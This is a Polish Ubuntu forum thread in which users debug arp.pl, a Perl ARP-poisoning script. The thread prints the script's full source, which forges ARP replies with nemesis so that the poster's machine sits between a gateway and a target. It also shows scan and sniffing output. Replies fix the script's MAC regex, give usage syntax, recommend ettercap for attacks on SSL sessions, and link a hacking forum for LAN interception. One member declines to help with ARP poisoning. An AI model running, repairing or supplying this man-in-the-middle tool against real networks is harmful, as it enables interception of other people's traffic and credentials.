arp nie odczytuje adresu bramy

Instalacja i konfiguracja oprogramowania sieciowego.
Sz@k@l
Piegowaty Guziec
Piegowaty Guziec
Posty: 4
Rejestracja: 23 mar 2008, 15:46
Płeć: Mężczyzna
Wersja Ubuntu: 7.10
Środowisko graficzne: GNOME

arp nie odczytuje adresu bramy

Post autor: Sz@k@l »

witam mam problem jak widac z arp nie odczytuje adresu bramy moze ktos pomoze??

1.terminal
szaki@szaki-desktop:~$ whoami
szaki
szaki@szaki-desktop:~$ su
Hasło:
root@szaki-desktop:/home/szaki# nmap -sP 192.168.1.*

Starting Nmap 4.20 ( http://insecure.org ) at 2008-03-24 22:41 CET
Host 192.168.1.147 appears to be up.
MAC Address: 00:1D:7D:37:BE:35 (Unknown)
Host 192.168.1.181 appears to be up.
Host 192.168.1.254 appears to be up.
MAC Address: 00:04:ED:22:A4:E8 (Billion Electric Co.)
Nmap finished: 256 IP addresses (3 hosts up) scanned in 6.231 seconds
root@szaki-desktop:/home/szaki# tcpdump 'ip host 192.168.1.181'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes


2.
szaki@szaki-desktop:~$ cd ~/Desktop/
szaki@szaki-desktop:~/Desktop$ chmod +x arp.pl
szaki@szaki-desktop:~/Desktop$ su
Hasło:
root@szaki-desktop:/home/szaki/Desktop# cat /proc/sys/net/ipv4/ip_forward
1
root@szaki-desktop:/home/szaki/Desktop# echo 1 > /proc/sys/net/ipv4/ip_forward
root@szaki-desktop:/home/szaki/Desktop# ./arp.pl 192.168.1.3 192.168.1.181
[-] Interwal nieznany, przyjmuje 10 sekund.
[-] Interfejs nieznany, przyjmuje eth0.
[+] Wysylam zadanie echa do 192.168.1.3.
[+] Wysylam zadanie echa do 192.168.1.181.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65.
root@szaki-desktop:/home/szaki/Desktop#
delcadro
Sędziwy Jeż
Sędziwy Jeż
Posty: 63
Rejestracja: 11 wrz 2006, 00:13
Płeć: Mężczyzna
Wersja Ubuntu: 10.04
Środowisko graficzne: GNOME
Architektura: x86
Kontakt:

Odp: arp nie odczytuje adresu bramy

Post autor: delcadro »

Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.

W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie !] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65

W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie

Kod: Zaznacz cały

!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65

Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.
Widze że pobiera MAC .......czyżby arp pisoning??
Jeśli tak to zapraszam na inne forum...mniej poważne...
::::::::::: Delcadro::::::::::::
maciek0087
Piegowaty Guziec
Piegowaty Guziec
Posty: 1
Rejestracja: 22 paź 2008, 17:14
Płeć: Mężczyzna
Wersja Ubuntu: 8.04
Środowisko graficzne: GNOME

Odp: arp nie odczytuje adresu bramy

Post autor: maciek0087 »

Sprubuj tak:
- chmod -x (nie +) (i wykrywalność daj jako root)
-sudo perl ./arp.pl <brama> <cel> 10 eth0/1 (zależy którego używasz)
Powinno zadziałać
Synchr0
Piegowaty Guziec
Piegowaty Guziec
Posty: 2
Rejestracja: 28 mar 2009, 05:32
Płeć: Mężczyzna
Wersja Ubuntu: inny OS
Środowisko graficzne: Inne

Odp: arp nie odczytuje adresu bramy

Post autor: Synchr0 »

nie pomoglo problem sie powtarza ,czy mozliwe jest że błąd pojawił się w pliku źródłowym ?



#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

# Sprawdz poprawnosc argumentow przed startem

if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}

if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}


if ($device=~/^$/)
{
$device = "eth0";
print("[-] Interfejs nieznany, przyjmuje eth0.\n");
}


# Odczytaj adresy MAC bramy i celu

print ("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");

print ("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");

# Pakiety wyslano, mozemy odczytac adresy MAC

print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);

$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);

# Sprawdz czy odczytane adresy MAC sa poprawne

if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}

if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $target.");
}

# Odczytaj wlasny adres IP oraz MAC

print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "[+] Interwal wysylania pakietow to $time sekund.\n\n";

print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n\n";

# Wysylamy pakiety ARP

while($i)
{
print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");

print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");

sleep $time;
}

# Wcisnieto ctrl+c, przywracamy oryginalne ustawienia

sub quit
{
$i = 0;
print "[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
Awatar użytkownika
cukier_lukier
Przyjaciel
Przyjaciel
Posty: 1250
Rejestracja: 14 cze 2006, 18:25
Płeć: Mężczyzna
Wersja Ubuntu: 14.04
Środowisko graficzne: Brak
Architektura: x86

Odp: arp nie odczytuje adresu bramy

Post autor: cukier_lukier »

hm, na pewno błąd jest w obu wyrażeniach :

Kod: Zaznacz cały

if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) 
gdzie powinny być małe litery, czyli:

Kod: Zaznacz cały

if($gateway_mac!~/^([a-f0-9]{2}\:){5}[a-f0-9]{2}$/) 
no a potem to już wpisujecie co najwyżej złe adresy bramek/ip

aha, przypominam, że kod umieszczamy w tagach code !
Synchr0
Piegowaty Guziec
Piegowaty Guziec
Posty: 2
Rejestracja: 28 mar 2009, 05:32
Płeć: Mężczyzna
Wersja Ubuntu: inny OS
Środowisko graficzne: Inne

Odp: arp nie odczytuje adresu bramy

Post autor: Synchr0 »

to akurat nie bylo ciezkie do rozkminienia szczegolnie ze skrypt podaje gdzie jest blad ...
W kazdym wypadku polecam przerzucic sie na ettercap'a tam za pomoca jednego programu mozna wykonac cala robote rowniez wliczajac w to atak na sesje ssl ... do ktorego niektorzy wlaczaja po 5 okien jest rownierz opcja zatrudawania adresow z zewnatrz co mnie bardzo zaintrygowalo niestety jest jeszcze na bardzo niskim poziomie czyli dziala wylacznie w offensive mode co oznacza ze pozbawiamy atakowany router lacznosci z netem ... sorry za mala dygresie ,ale pomyslalem ze moze sie to komus przydac :)
Wanted

Odp: arp nie odczytuje adresu bramy

Post autor: Wanted »

Jeśli jeszcze jest problem, to sposób użycia jest

Kod: Zaznacz cały

./arp.pl <adres bramy> <adres celu> <interwał> <interfejs>
i oczywiście wcześniej

Kod: Zaznacz cały

chmod +x arp.pl
Jeśli chcesz to na moim forum jest opisane dokładne użycie tego programu, bo pewnie potrzebny Ci arp.pl do przechwytywanie informacji w sieciach LAN ;-)
Link do forum http://www.ihacker.cba.pl
thomash
Piegowaty Guziec
Piegowaty Guziec
Posty: 1
Rejestracja: 13 gru 2010, 16:52
Płeć: Mężczyzna
Wersja Ubuntu: inny OS
Środowisko graficzne: Brak
Architektura: Inna

Odp: arp nie odczytuje adresu bramy

Post autor: thomash »

mam podobny problem poniewż gdy próbóje uzyć ./arp.pl <ip barmy> <ip celu> oczywiście bes tych znaczków to mi wyskakuje że nie moze mi odczytac adresu mac da ip bramy. jestem nowicjuszem więc ...
ODPOWIEDZ

Wróć do „Sieci, serwery, Internet”

Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 6 gości